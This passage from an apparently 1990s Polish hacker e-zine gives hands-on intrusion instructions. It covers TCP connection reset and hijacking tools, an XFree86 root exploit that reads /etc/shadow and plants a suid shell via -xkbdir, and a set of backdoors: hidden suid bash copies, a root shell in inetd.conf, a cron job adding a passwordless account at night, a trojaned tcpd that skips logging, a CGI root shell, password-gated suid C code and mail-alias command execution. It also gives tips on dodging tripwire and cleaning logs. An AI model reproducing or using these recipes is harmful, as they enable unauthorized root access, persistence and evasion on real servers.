  424.    Dalej sprawdzamy czy jest to co nam potrzebne int filter(), czyli
  425.    odrzucamy pakiety nie od ofiary i te z port≤w na kt≤re nie trzeba has│a
  426.    (robi to spora sekwencja if≤w).
  427.   5. Wypisanie zawarto╢ci datagramu
  428.    Funkcja int printdata(int datalen, char *data) w przejrzystej formie
  429.    zapisuje wynik do pliku.
  430.  
  431.   Ot i ca│a filozofia linsniffa, na jego podstawie mo┐na napisaµ inne fajne
  432.  programy.
  433.  
  434. 2.2 Wielkie zamieszanie na kablu, czyli czemu nagle wyszed│em z irca
  435.  
  436.   Przegl▒daj▒c kiedy╢ pl.comp.security (nie bluzgaµ, czasami jest co╢
  437.  ciekawego) zobaczy│em pytanie o hijacking. Odpowiedzi by│o pe│no, ale
  438.  jak zwykle wiΩkszo╢µ bezsensu (typu czemu ssh jest lepsze od telneta),
  439.  w jednej jednak by│ adres strony z prac▒ jakiego╢ studenta na ten temat
  440.  (oczywi╢cie po angielsku). Go╢ciu siΩ nazywa Brecht (buahaha :) Claerhout
  441.  (coder@reptile.rug.ac.be). No wiΩc znalaz│em tam dwie sporawe prace m≤wi▒ce
  442.  o spoofingu i sniffingu. Pierwsza m≤wi│a o spoofingu nie╢lepym, a druga o
  443.  ╢lepym. Szczeg≤lnie interesuj▒cy jest ten pierwszy, przeczyta│em go i
  444.  wycio│em nastΩpuj▒ce ╝r≤de│ka:
  445.   sniper-fin.c - program do ╢cinania czyjego╢ po│▒czenia z kontrol▒ sukcesu
  446.   sniper-rst.c - podobnie, ale bez kontroli
  447.   hijack.c - do przejmowania po│▒cze± telnetowych
  448.   spoofit.h - includek zawieraj▒cy serce poprzednich (czyli g│≤wne funkcje)
  449.  Najwa┐niejszy jest oczywi╢cie spoofit.h, w nim siedz▒ procedurki dziΩki
  450.  kt≤remu mo┐na odpicowaµ zajebistego sniffera z mo┐liwo╢ci▒ wp│ywania na
  451.  po│▒czenie. Jest mocno zkomentowany wiΩc nie powinno byµ problem≤w ze
  452.  zrozumieniem. Jednak przy pomocy tych program≤w trudno jest co╢ zrobiµ,
  453.  trzeba niestety znaµ numery port≤w obu stron po│▒czenia, co mo┐e byµ
  454.  samo z siebie dosyµ trudne (musia│em siΩ pytaµ gostka co by│ na irc z
  455.  tego samego kabla o numer portu z jakiego siΩ │▒czy, ten drugi │atwo
  456.  zgadn▒µ 6667). Zacz▒│em wiΩc grzebaµ po ╝r≤d│ach i przerobi│em nieco
  457.  spoofit.h tak aby funkcja wait_packet nie wymaga│a ┐adnych konret≤w.
  458.  Wystarczy podaµ 0 zamiast kt≤rego╢ parametru i bΩdzie pasowaµ pierwszy
  459.  lepszy. Dodatkowo musia│em przerobiµ sniper-fin.c ┐eby uwzglΩdnia│ t▒
  460.  mo┐liwo╢µ. Tak powstal lankill. Wywo│anie ./lankill 0 0 0 0 powoduje
  461.  zerwanie pierwszego aktywnego po│▒czenia TCP na kablu, wywo│uj▒c to w
  462.  pΩtli mo┐na ostro zdeorganizowaµ sieµ :)
  463.   Efekt polega na spoofowaniu datagram≤w TCP zawieraj▒cych w│▒czony bit
  464.  RST lub FIN(to drugie wymaga dwustopniowego zamykania, ale po udanym
  465.  skasowaniu po│▒czenia, mo┐na przechwyciµ datagram m≤wi▒cy o poprawnym
  466.  zamkniΩciu). Problem, jak zwykle w spooferach TCP, polega na znalezieniu
  467.  odpowiednich warto╢ci pul ACK i SEQ, ale skoro robimy to w sieci lokalnej
  468.  (z jednym z komputer≤w pomiΩdzy kt≤rymi jest po│▒czenie) to mo┐emy te
  469.  warto╢ci wysniffowaµ. NastΩpnie tylko zamieniamy je miejscami i dodajemy
  470.  do SEQ d│ugo╢µ naszych danych (w wypadku resetowania nie ma danych),
  471.  wype│niamy bit RST, odwracamy adresy i ju┐ mamy pakiet gotowy do wys│ania.
  472.  Innym problemem jest szybko╢µ tej operacji, je╢li nie zd▒┐ymy wys│aµ
  473.  pakietu przed nimi, to datagram zostanie odrzucony.
  474.  
  475. 3.1 Xokienka
  476.  
  477.  XFree to darmowy serwer XWindows, niby dobry, wszyscy chwal▒, ale panowie
  478. kt≤rzy to pisali chyba nie wiedz▒ co to bezpiecze±stwo. Tak siΩ sk│ada ┐e
  479. Xserver musi byµ uruchamiany na prawach roota bo wykonuje kilka
  480. "superuserowych" czynno╢ci jak zmiana trybu graficznego i takie tam pierdo│y.
  481. No wiΩc ma rootoego suida, przyjrzyjmy siΩ dw≤m ciekawym opcjom:
  482.  -config - podajemy alternatywny plik konfiguracyjny, jak XFree go
  483. niezrozumie to wywala b│▒d z tre╢ci▒ b│ednego fragmentu. Opur. Wywo│aj sobie
  484.  X -config /etc/shadow|head   a dowiesz siΩ o co chodzi. Niestety plik jest
  485. odczytywany z prawami roota i serwer pokazuje nam pierwsz▒ linijke hase│ek,
  486. zazwyczaj siΩ sk│ada ┐e jest tam has│o roota. Komu╢ mo┐e siΩ chcieµ to
  487. z│amaµ, ale popatrzmy na nastΩpna opcjΩ to zapomnimy o tej :) :
  488.  -xkbdir - podajemy katalog jakiej╢ tam bazy, server uruchamia z tego
  489. katalogu plik xkbcomp do jej obs│ugi. Uruchamia z UID=0. Znowu opur.
  490. Podstawmy sobie taki plik /tmp/xkbcomp:
  491. -- CUT HERE -- tnij tu -- nozyczkami Sasza --
  492. #!/bin/bash
  493. cp /bin/bash /tmp/groah
  494. chmod +s /tmp/groah
  495. -- CUT HERE -- tnij tu -- tasakiem go --
  496. teraz wpisz z shella
  497. $ chmod +x /tmp/xkbcomp
  498. $ X -xkbdir /tmp
  499. < kupa ╢mieci >
  500. $ /tmp/groah
  501. # super, super, mam roota :)
  502.  No to easy, tera ju┐ wiecie co robiµ. Jako zabezpieczenie proponujΩ na razie
  503. stworzyµ grupΩ "zaufanych" i tylko oni bΩd▒ mogli korzystaµ z XFree.
  504.  Aha, jest jeszcze jeden spos≤b na Xy (tnx CADENCE). Zwyk│y overflow.
  505. ¼r≤de│ko do niego macie w ZIPie (jak to m≤wi▒ wielcy hackerzy, ZIP to
  506. podstawa hackeringu ;) Wystarczy zmieniµ ╢cie┐kΩ do jakiego╢ serwera z
  507. suidem, skompilowaµ i uruchomiµ (whoami?)
  508.  To tyle je╢li chodzi o XFree (u mnie version 3.2-9)
  509.  
  510. 4.1 Teoria prostych backdork≤w
  511.  
  512.  Tylne drzwi jak wszyscy wiedz▒, s▒ elementem przeciwpo┐arowej instalacji
  513. serwera. S▒ wymogiem paragrafu 12.4 kodeksu stra┐aka. Niestosowanie siΩ do
  514. tego kodeksu grozi kar▒ pozbawienia licencji administratora na okres
  515. nielimitowany, konsekwencje ...STOP! Czy aby na pewno? Czy tylne drzwi tak
  516. potrzebne we wsp≤│czesnej zabudowie typu domek, s▒ porz▒dane na serwerach?
  517. Odpowied╝ oczywi╢cie brzmi TAK. Po co mamy siΩ mΩczyµ nastΩpnym razem? Bawiµ
  518. w te same exploity, czy╢ciµ logi i tak dalej? Nie │atwiej po prostu utorowaµ
  519. sobie drogΩ na przysz│o╢µ? No spoko ┐e tak. Ale jak? No chyba wiecie, a jak
  520. nie to podam najpowszechniej stosowane sposoby na zrobienie backdor≤w.
  521. Zacznijmy od najprostszego, suidowy shell. Jest to takie co╢, co w katalogu
  522. wygl▒da mniej wiΩcej tak:
  523.  -rwsr-xr-x   1 root     root        300668 Apr 22  1997 bash
  524. Oczywi╢cie nie nale┐y nadawaµ backdoorowi nazwy bash, najlepiej jak▒╢
  525. ca│kiem niewinn▒ typu wielomian. U┐ycie tego ogranicza siΩ do uruchomienia.
  526. Zrobiµ te┐ jest bardzo prosta, taka sekwencja robi co nale┐y:
  527.  
  528. # cp /bin/bash ~/macierze
  529. # chmod +s ~/macierze
  530. # exit
  531. $ ~/macierze
  532. # whoami
  533.  
  534. Najlepszymi katalogami na tego typu rzeczy, s▒ takie do kt≤rych nikt nie
  535. zagl▒da i tripwire tam nie wΩszy. Mog▒ to byµ np. /usr/games, ~ftp/pub,
  536. /usr/lib/svgalib.
  537. Ten backdoor wymaga posiadania niezablokowanego konta na kompie, natomiast
  538. nastΩpny nie posiada tego ograniczenia (drugi co do czΩsto╢ci stosowania).
  539. Plik /etc/inetd.conf to konfiguracja superdemona inetd. Inetd jest takim
  540. prostym programem kt≤ry nas│uchuje na odpowiednich portach, i jak siΩ co╢
  541. dzieje to uruchamia odpowiedni program obs│uguj▒cy, przekazuj▒c jako stdin i
  542. stdout gniazdo do po│▒czenia. Mo┐emy tam podstawiµ co╢ z czego bΩdziemy
  543. p≤╝niej korzystaµ, mo┐e to byµ program daj▒cy konto, odblokowywuj▒cy telneta
  544. ale najrozs▒dniejszym wyj╢ciem jest wstawienie basha. Dopisuj▒c:
  545. tnet    stream    tcp    nowait    root    /usr/sbin/tcpd    /bin/bash -i
  546. do /etc/inetd.conf i resetuj▒c demona (killall -HUP inetd) otrzymujemy
  547. rootowego basha na porcie 1600. Port mo┐na zmieniµ dopisuj▒c now▒ us│ugΩ
  548. do /etc/services, np.
  549.  
  550. satsex    666/tcp        #Cyber sex through satelite
  551.  
  552.  NastΩpnym rodzajem back≤w s▒ cronbacki. Polegaj▒ one na czasowym wykonaniu
  553. jakiej╢ operacji. Mo┐e to byµ sprawdzenie o p≤│nocy czy mamy jeszcze konto,
  554. a jak nie to dopisanie go; mo┐e nam na okre╢lony czas (taki w kt≤rym nikogo
  555. nie ma na serwie) dawaµ │atwy dostΩp do superusera, ewentualnie kasowaµ nas
  556. z log≤w jak zapomnimy (ee, to chyba nie backdoor :). »eby co╢ dopisaµ do
  557. crona, u┐ywamy komendy crontab -e (hmm, nie zapamiΩtam chyba). Wpisy
  558. polegaj▒ na podaniu czasu (mo┐na zat▒piµ niekt≤re pola *) i komendy. Wyj╢cie
  559. mo┐e byµ kierowane do maila lub jakich╢ log≤w, wiΩc lepiej ┐eby wyj╢cia nie
  560. by│o &> /dev/null. Przyk│adowo wpisujemy do crontaba:
  561.  
  562. 0 1 * * *    /usr/sbin/clock.cron
  563.  
  564. i tworzymy plik /usr/sbin/clock.cron o zawarto╢ci:
  565.  
  566. #!/bin/bash
  567. if [ -z "at /etc/passwd | grep g0zer:" ]; then echo g0zer::1200:1200:RHS \
  568. Linux user:/tmp:/bin/ash >> /etc/passwd ; fi
  569.  
  570. i codziennie o pierwszej w nocy sprawdzana jest obecno╢µ konta g0zer, jak go
  571. nie ma to jest dopisywane bez has│a (mo┐esz jakie╢ wstawiµ). Je╢li dopiszemy
  572. do clock.cron takie linijki
  573.  
  574. sleep 1800
  575. grep -v g0zer: /etc/passwd > /tmp/shitoza
  576. mv /tmp/shitoza /etc/passwd
  577.  
  578. to w czasie od 1.00 do 1.30 mamy konto, takie zabiegi maskuj▒ trochΩ nasz▒
  579. obecno╢µ, bo jak admin przejrzy w godzinach urzΩdowych /etc/passwd to nic
  580. dziwnego nie zobaczy.
  581.  
  582. 4.2 TCP-wrapper ciΩ uchroni (od wykrycia :)
  583.  
  584.  Ten backdoor wykorzystuje inetd, jednak nic nie zmieniamy w pliku
  585. inetd.conf, nawet nie ma potrzeby killhupowania go. Jest to backdoor w
  586. kt≤rym podmieniamy binaria, wiΩc nale┐y siΩ upewniµ czy nie ma ┐adnych
  587. program≤w w stylu MD5 czy tripware. Zobaczmy co siΩ dzieje gdy nastΩpuje
  588. po│▒czenie z us│ug▒ obs│ugiwan▒ przez inetd.
  589.  Nadchodzi pro╢ba o po│▒czenie z portem, inetd kt≤ry s│ucha na tym porcie
  590. odbiera po│▒czenie i przekazuje je do programu wskazanego przez inetd.conf.
  591. W wiΩkszo╢ci przypadk≤w jest tcpd kt≤ry z kolei uruchamia program obs│ugi.
  592. tcpd jest tcp-wrapperem, to znaczy sprawdza sk▒d nadesz│o po│▒czenie, loguje
  593. je za pomoc▒ sysloga i albo przepuszcza je, albo zrywa (zale┐nie od
  594. zawarto╢ci plik≤w hosts.allow i hosts.deny). Tak wiΩc tu nastΩpuje to czego
  595. nie lubimy, zostajemy zapisani w logach, a nawet odciΩci je╢li admin nas nie
  596. lubi. Hmmm, zast▒pmy tcpd naszym programem :) M≤j back podstawia siΩ jako
  597. tcpd, wcze╢niej nale┐y skopiowaµ prawdziwy tcpd jako in.tcpd (nazwΩ mo┐na
  598. zmieniµ). Teraz je╢li ktokolwiek normalny po│▒czy sie z dowoln▒ us│ug▒
  599. inetd, otrzyma z ni▒ po│▒czenie. WiΩc jak skorzystaµ z naszego backdoora?
  600. Postawiony tcpd sprawdza Z jakiego portu nast▒pi│o po│▒cznie, je╢li jest to
  601. port 999, to zamiast uruchamiania prawdziwego tcpd, podstawia nam "bash-i",
  602. nie zostajemy w ┐adnych logach. »eby po│▒czyµ sie z jakiego╢ portu,
  603. wystarczy przed connect() wywo│aµ bind() z wype│nion▒ struktur▒ sockaddr_in
  604. jako adres podajemy IP_ANY, a jako port 999. Wybra│em port 999 poniewa┐
  605. nie zostanie on nigdy u┐yty do zwyk│ego otwarcia po│▒czenie. Ja korzystam z
  606. tego backa przy pomocy przerobionego przeze mnie telneta, dorobi│em opcjΩ -s
  607. dziΩki kt≤rej mo┐na podaµ adres nadawcy. Jak kto╢ mi powie jak siΩ robi │aty
  608. to takow▒ zapodam, teraz mogΩ daµ tylko binarke (kto mi zaufa? ;). I jeszcze
  609. jedno, mo┐na to podstawiµ pod dowoln▒ us│ugΩ inetd, naprzyk│ad in.fingerd,
  610. wtedy w programie zamiast ╢cie┐ki do oryginalnego tcpd zapodajemy ╢cie┐kΩ do
  611. in.fingerd. Tyle ┐e wtedy przechdzimy przez tcpd i jeste╢my logowani :(
  612.  
  613. 4.3 CGI backdoor
  614.  
  615.  D┐wiczki te powsta│y jak siΩ uczy│em pisaµ skrypty CGI. Jest to bardzo
  616. prosty remote backdoor, jednak zupe│nie nadaj▒cy siΩ do podstawowych
  617. czynno╢ci (np. dodanie u┐ytkownika). Do katalogu /home/httpd/cgi-bin
  618. wrzucamy takiego kr≤tkiego skrypta:
  619.  
  620. #!/bin/bash
  621. echo Content-type: text/html
  622. echo
  623. /etc/httpd/conf/testcgi -i
  624.  
  625. Nie zapomnij mu nadaµ uprawnie± do uruchamiania! NastΩpnie kopiujemy do
  626. /etc/httpd/conf/testcgi basha i dajemu mu suida. Teraz wysy│aj▒c odpowiednio
  627. spreparowane dane na port 80 mo┐emy robiµ dowolne rzeczy z uprawnieniami
  628. roota, dostajemy nawet wyj╢cie z tego co zrobili╢my. Niestety zazwyczaj
  629. pozostajemy w logach httpd, ale tam rzadko admini zagl▒daj▒ (ewentualnie
  630. mo┐na siΩ przeciez wyczy╢ciµ).
  631.  
  632. 4.4 Suid bash dla wybranych
  633.  
  634.  Gdy zostawiamy gdzie╢ suidowego basha, nara┐amy siΩ na dwa dangery, po
  635. pierwsze, mo┐e byµ uruchamiany skaner suidow por≤wnuj▒cy znalezione pliki z
  636. shellami, po drugie ka┐dy u┐ytkownik mo┐e sobie takiego backa korzystaµ (nie
  637. zawsze chcemy siΩ dzieliµ). Co do tego drugiego to oczywi╢cie mo┐na nadaµ
  638. grupΩ sbashowi tak▒ jak ma nasz u┐ytkownik i prawa do uruchomienia tylko dla
  639. grupy, jednak wtedy zostawiamy ╢lad kt≤ry u┐ytkownik jest niebezpieczny.
  640. Lepiej gdy po uruchomieniu pyta│by siΩ o has│o (ale nie wprost) i w
  641. przypadku b│Ωdnej odpowiedzi pokazywa│by zmywaj▒cy komunikat, a w przypadku
  642. odpowiedniej odpala│by basha. Tak dzia│a poni┐szy backdoor:
  643.  
  644. #include <stdio.h>
  645. main()
  646. {
  647.  char s[20];
  648.  printf("Enter filename: ");
  649.  fgets(s, 20, stdin);
  650.  if(strcmp(s,"dhskrolemjest\n")!=0) {
  651.   fprintf(stderr, "Thats not correct filename!\n");
  652.   return;
  653.   }
  654.  setuid(0);
  655.  setgid(0);
  656.  system("/bin/bash");
  657. }
  658. Dodatkowo ustawia uid i gid na 0 (normalnie suidy ustawiaj▒ tylko euid i
  659. egid). That's easy :)
  660.  
  661. 5.5 Aliasy pocztowe
  662.  
  663.  Je╢li dodamy do /etc/aliases linijkΩ typu:
  664.  
  665. dhs:    |mojprog
  666.  
  667. to gdy nadejdzie list, jego zawarto╢µ zostanie przekazana do tego programu.
  668. Mo┐liwo╢ci s▒ du┐e, wystarczy ┐e mojprog na suida na roota i ju┐ mo┐na
  669. wszystko. Program musi tylko omin▒µ ╢mieci na pocz▒tku typu data i adresy
  670. serwer≤w pocztowych (chocia┐ mo┐na i to wykorzystaµ) i zrobiµ co╢ co mu
  671. ka┐emy. Do tego jest backmail2.c (backmail.c jest prostszy i ma mniej
  672. mo┐liwo╢ci). Je╢li przyaliasujemy go do jakiego╢ adresy, to wysy│aj▒c na ten
  673. adres list zawieraj▒cy komendy, spowodujemy ich wykonanie, dodatkowo je╢li
  674. ma suida na roota to zostanie to wykonane z jego prawami! Trzeba pamiΩtaµ
  675. ┐eby umie╢ciµ dowolny tekst w polu Subject, bo po tym rozpoznaje gdzie siΩ
  676. znajduj▒ polecenia. Potem pozostaje jeszcze wyczysczenie log≤w demona
  677. pocztowego. Aha, po zmodyfikowaniu /etc/aliases nie zapomniej o uruchomieniu
  678.  newaliases
  679.  
  680. 6.1 DCCHiJacker
  681.  
  682.  Trick z serii IRCowatych. Wiecie na czym w│a╢ciwie polega po│▒czenie DCC?
  683. Nic prostszego, jak chcemy z kims siΩ dccn▒µ to klient IRCa:
  684.  1) Otwiera losowy port u siebie
  685.  2) Wysy│a do drugiego odpowiedni komunikat CTCP zawieraj▒cy adres IP, port
  686. i typ po│▒czenia
  687.  3) Drugi po odebraniu komunikatu albo odmawia po│▒czenia i nic nie robi,
  688. albo siΩ │▒czy z podanym adresem i nastΩpuje dalej najzwyklejsza transmisja.
  689. MiΩdzy punktami 1) i 3) up│ywa pewna ilo╢µ czasu, je╢li w tym momencie my
  690. po│▒czymy siΩ z danym adresem, to nie╢wiadomy IRCek z drugiej strony bΩdzie
  691. gada│ z nami albo prze╢le nam tajny plik :) MIRC sam z siebie nic nie poka┐e
  692. nawet ┐e adres siΩ r≤┐ni▒, BitchX czasami (ale te┐ nie zawsze) poka┐e ┐e
  693. adres jest faked, ale to chyba tylko w przypadku "rozmowy przychodz▒cej".
  694. Problemem pozostaje znalezienie portu, w moim programie zastosowa│em szybki
  695. skaning port≤w. Windy zazwyczaj │atwo oszukaµ bo maj▒ ma│y rozrzut port≤w,
  696. gorzej z jakimi╢ d│ugo w│▒czonymi UN*Xami (te domowy te┐ zazwyczaj maj▒ ma│e
  697. porty). Program do│▒czy│em (troche toporny, ale da siΩ u┐ywaµ, na razie
  698. tylko do DCC Chata). Widzimy na przyk│ad ┐e dw≤ch gostk≤w gada na kanale i
  699. chc▒ sobie przekazaµ has│o do konta, jako ┐e wszΩdzie pisz▒ ┐e DCC jest
  700. bezpieczniejsze ni┐ MSG, to jeden m≤wi do drugiego "choµ na DCC". W tym
  701. momencie odpalamy 2 Hijackery na obu i czekamy a┐ kt≤ry╢ siΩ po│▒czy, dalej
  702. to ju┐ improwizacja :) Aha, sam program mo┐na jeszcze wykorzystaµ do
  703. zwyk│ego skanowania i poszukiwania backdor≤w.
  704.  
  705. 6.2 Przenoszenie bez ftpa
  706.  
  707.  CzΩsto chcemy co╢ przenie╢µ na schaczone konto, ale ftp zostawia nΩdzne
  708. logi, a nie wiadomo czy siΩ w│amiemy, albo nie chce nam siΩ ich czy╢ciµ.
  709. Z pomoc▒ przychodzi GPM czyli demon kt≤ry zajmujΩ sie wykorzystaniem myszki
  710. na konsolach virtualnych. Oczywi╢cie m≤wiΩ o linuxie, byµ mo┐e pod telnetem
  711. w windzie te┐ jest jakies cut/paste. No wiΩc skoro sie telnetniemy to
  712. piszemy:
  713. $ cat > nazwa_pliku
  714.  Teraz na jednej konsoli na naszym kompie zaznaczamy programik (powienien
  715. siΩ mie╢ciµ na jednym ekranie, ale nie musi) myszk▒, przechodzimy na konsole
  716. z telnetem i wstawiamy tekst (w 3przyciskowej myszce ╢rodkowy guzik). GPM
  717. sam wstawia tekst tak jakby╢my go wpisali z klawiery. Potem tylko ctrl-d w
  718. telnecie i ju┐ mamy plik bez wykorzystania ftpa. Oczywi╢cie mo┐na
  719. przepisywaµ rΩcznie, no ale jak nie musimy....
  720.  I jeszcze jedno. CzΩsto korzysta siΩ z shelli bez konsoli (vide bash -i).
  721. Wtedy cat > nie zawsze dzia│a, dlatego przenoszΩ troszeczkΩ inaczej.
  722. Za│▒czam skrypt txt2sh kt≤ry tworzy drugi skrypt kt≤ry z kolei tworzy tekst
  723. podany jako parametr, chodzi w tym o to ┐e je╢li zaznaczymy tego skrypta i
  724. przeniesiemy do uruchomionego shella to on nam wszystko │adnie zrobi bez
  725. u┐ycia cat >.
  726.  
  727. APPENDIX A. Disclaimer
  728.  
  729.  No wiΩc jak siΩ pewnie domy╢leli╢cie czytaj▒c ten tekst, informacje tu
  730. zawarte mog▒ byµ niebezpieczne, dlatego musz▒ byµ wykorzystywane z rozwag▒,
  731. nie odpowiadam za ┐adne szkody materialne ani moralne wynik│e z czytania
  732. tego (kolega wyskoczy│ z okna czytaj▒c, na szczΩ╢cie to by│ parter ;).
  733. Przedstawi│em tu rzeczy, kt≤re przynajmniej wg mnie s▒ cenne i w│o┐y│em w
  734. nie sporo pracy. No to tyle bo mi siΩ ju┐ p│akaµ chce 8-}
  735.  
  736. APPENDIX B. Greets from Maxiu
  737.  
  738.  Na wstΩpie chcia│bym podziΩkowaµ Pimposhowi za wszystko co dla mnie zrobi│,
  739. w tym za to ┐e nakorzysta│em siΩ u niego za darmo z inetu. Mocno dziΩkujΩ
  740. K0curowi (Humungous, Fungous) jak ┐e jest pierwsz▒ osob▒ kt≤ra siΩ odezwa│a
  741. do mnie na ircu, on mi pierwszy pokaza│ winnuka (niewa┐ne ┐e w chamski
  742. spos≤b ;), narobi│ mi ╢liny na linuxa i pierwszy pokaza│ wynik dzia│ania
  743. exploita (w│ama│ sie do mnie sperlem i zresetowa│ modem). Skoro ju┐ lece w
  744. kolejno╢ci czasu kiedy pozna│em, to nastΩpny jest Pablo, wprowadzi│ mnie w
  745. ╢wiat eggdropa i od niego dosta│em pierwszy raz opa. Teraz czas na lcamtufa,
  746. pozna│em go na kanale #wariaci, nie wiedzia│em wtedy czym siΩ zajmuje,
  747. gadali╢my o trybie chronionym, po pewnym czasie podes│a│ mi P0werfaq, potem
  748. pierwszy numer h@ckpl zin, rozbudzaj▒c we mnie pragnienie haczenia. Dalej to
  749. nie pamiΩtam w jakiej by│o kolejno╢ci, wiΩc bΩdzie bez kolejno╢ci. Tnx to
  750. Pan_, on pierwszy zgodzi│ siΩ wypr≤bowaµ mojego pogs.exe, big TNX to
  751. shmastah, jego w│am na pande prze┐ywa│em do╢µ d│ugo, tnx to !brainwat za
  752. dekodera do base64 i za pozytywne opinie o tym FUCKU, tnx za wspania│y
  753. imappack to Luke_Skyw, tnx za xploita na Xy to CADENCE, tnx za wszytko to
  754. [ULT0R], [TwT], nth, Trolinka, Ang3l i ca│ej reszty z #hackpl (especcialy
  755. DHS)
  756.